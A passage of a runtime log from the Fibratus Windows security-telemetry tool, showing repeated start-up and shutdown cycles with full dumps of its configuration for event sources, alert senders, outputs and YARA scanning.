.CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672 exchange=>fibratus routing-key=>fibratus durable=>false passive=>false exchange-type=>topic vhost=>/ timeout=>5s]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false skip-registry=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T18:04:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:04:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:11:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T18:11:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:11:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:12:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T18:12:22+01:00 level=info msg=bootstrapping with pid 18020. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T18:12:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 stack-enrichment=>true enable-registry=>true enable-threadpool=>false enable-audit-api=>true enable-mem=>false enable-vamap=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-thread=>true enable-dns=>false flush-interval=>1s enable-net=>true enable-fileio=>true buffer-size=>512 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 formatter=>text max-backups=>15 max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false healthcheck-interval=>10s gzip-compression=>false index-name=>fibratus template-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s flush-period=>1s healthcheck=>true sniff=>false trace-log=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false enabled=>false] amqp=>[ enabled=>false url=>amqp://localhost:5672 durable=>false passive=>false routing-key=>fibratus exchange=>fibratus exchange-type=>topic vhost=>/ timeout=>5s delivery-mode=>transient tls-insecure-skip-verify=>false]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-allocs=>false enabled=>false scan-timeout=>10s fastscan=>true excluded-procs=>[] skip-mmaps=>false skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T18:12:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:12:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:15:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T18:15:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:15:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:15:49+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T18:15:49+01:00 level=info msg=bootstrapping with pid 16468. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T18:15:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] use-template=>true port=>25 enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-image=>true stack-enrichment=>true buffer-size=>512 min-buffers=>16 enable-handle=>false enable-mem=>false enable-threadpool=>false enable-audit-api=>true max-buffers=>36 enable-registry=>true enable-vamap=>true enable-dns=>false flush-interval=>1s enable-thread=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 level=>info log-stdout=>true formatter=>text] + output ......................... [ http=>[ enable-gzip=>false serializer=>json enabled=>false endpoints=>[] timeout=>5s method=>POST tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ timeout=>5s exchange=>fibratus durable=>false url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient exchange-type=>topic enabled=>false vhost=>/] elasticsearch=>[ index-name=>fibratus enabled=>false trace-log=>false timeout=>5s sniff=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck=>true bulk-workers=>1 flush-period=>1s gzip-compression=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false excluded-files=>[] skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T18:15:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:15:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:16:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T18:16:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:16:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T18:17:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T18:17:33+01:00 level=info msg=bootstrapping with pid 9596. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T18:17:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-image=>true enable-mem=>false enable-fileio=>true max-buffers=>36 enable-audit-api=>true enable-dns=>false enable-handle=>false min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-vamap=>true enable-threadpool=>false enable-thread=>true flush-interval=>1s stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 formatter=>text level=>info log-stdout=>true] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ timeout=>5s vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus enabled=>false exchange-type=>topic url=>amqp://localhost:5672 durable=>false passive=>false] http=>[ timeout=>5s method=>POST tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false endpoints=>[] serializer=>json] elasticsearch=>[ enabled=>false index-name=>fibratus template-name=>fibratus gzip-compression=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s bulk-workers=>1 timeout=>5s trace-log=>false sniff=>false healthcheck=>true healthcheck-timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false enabled=>false skip-files=>false excluded-procs=>[] skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T18:17:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T18:17:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T12:43:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T12:43:42+01:00 level=info msg=bootstrapping with pid 12816. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T12:43:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true content-type=>text/html enabled=>false to=>[]] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true min-buffers=>16 enable-audit-api=>true enable-thread=>true max-buffers=>36 enable-handle=>false enable-fileio=>true flush-interval=>1s buffer-size=>512 enable-mem=>false enable-threadpool=>false enable-net=>true enable-dns=>false enable-vamap=>true enable-image=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 log-stdout=>true level=>info max-backups=>15 max-size=>100] + output ......................... [ http=>[ enable-gzip=>false enabled=>false method=>POST serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s] amqp=>[ passive=>false vhost=>/ durable=>false exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus enabled=>false delivery-mode=>transient tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ enabled=>false index-name=>fibratus sniff=>false healthcheck-interval=>10s flush-period=>1s healthcheck=>true timeout=>5s trace-log=>false template-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s gzip-compression=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] enabled=>false skip-allocs=>false excluded-procs=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-22T12:43:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T12:43:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T12:48:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T12:48:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T12:48:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T12:48:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T12:48:33+01:00 level=info msg=bootstrapping with pid 13708. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T12:48:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false enable-audit-api=>true flush-interval=>1s enable-vamap=>true enable-fileio=>true enable-image=>true enable-thread=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true max-buffers=>36 min-buffers=>16 stack-enrichment=>true enable-registry=>true enable-mem=>false enable-handle=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true formatter=>text level=>info] + output ......................... [ elasticsearch=>[ healthcheck=>true template-name=>fibratus timeout=>5s trace-log=>false enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] sniff=>false bulk-workers=>1 flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s] amqp=>[ passive=>false durable=>false exchange-type=>topic exchange=>fibratus timeout=>5s delivery-mode=>transient vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false] http=>[ enabled=>false enable-gzip=>false method=>POST endpoints=>[] serializer=>json timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-mmaps=>false skip-files=>false excluded-procs=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T12:48:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T12:48:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T12:49:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T12:49:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T12:49:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T12:51:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T12:51:37+01:00 level=info msg=bootstrapping with pid 6316. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T12:51:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 use-template=>true content-type=>text/html enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-registry=>true enable-thread=>true enable-net=>true enable-handle=>false flush-interval=>1s enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 min-buffers=>16 enable-vamap=>true stack-enrichment=>true enable-dns=>false enable-threadpool=>false enable-fileio=>true enable-image=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 level=>info max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ trace-log=>false gzip-compression=>false flush-period=>1s healthcheck-interval=>10s template-name=>fibratus healthcheck=>true healthcheck-timeout=>5s index-name=>fibratus timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1] amqp=>[ exchange-type=>topic timeout=>5s enabled=>false passive=>false vhost=>/ url=>amqp://localhost:5672 exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient durable=>false] http=>[ enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false method=>POST] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] fastscan=>true excluded-procs=>[] skip-files=>false skip-registry=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T12:51:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T12:51:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T12:56:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T12:56:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T12:56:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T12:56:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T12:56:19+01:00 level=info msg=bootstrapping with pid 6120. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T12:56:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ stack-enrichment=>true enable-dns=>false enable-vamap=>true enable-thread=>true enable-fileio=>true enable-threadpool=>false enable-handle=>false max-buffers=>36 enable-image=>true enable-net=>true flush-interval=>1s enable-mem=>false min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true buffer-size=>512 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 level=>info log-stdout=>true formatter=>text max-size=>100] + output ......................... [ amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s exchange-type=>topic vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false durable=>false passive=>false] http=>[ method=>POST tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enabled=>false enable-gzip=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ bulk-workers=>1 sniff=>false index-name=>fibratus flush-period=>1s gzip-compression=>false trace-log=>false timeout=>5s healthcheck-interval=>10s enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false fastscan=>true excluded-procs=>[] skip-allocs=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-registry=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T12:56:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T12:56:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:00:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:00:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:00:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:04:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T13:04:23+01:00 level=info msg=bootstrapping with pid 12816. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:04:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-image=>true flush-interval=>1s enable-dns=>false enable-net=>true enable-fileio=>true enable-thread=>true buffer-size=>512 enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-mem=>false stack-enrichment=>true enable-handle=>false enable-threadpool=>false min-buffers=>16 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info log-stdout=>true max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic vhost=>/ enabled=>false routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient passive=>false durable=>false exchange=>fibratus] elasticsearch=>[ trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus enabled=>false flush-period=>1s timeout=>5s gzip-compression=>false sniff=>false index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 healthcheck-interval=>10s] http=>[ timeout=>5s serializer=>json endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ 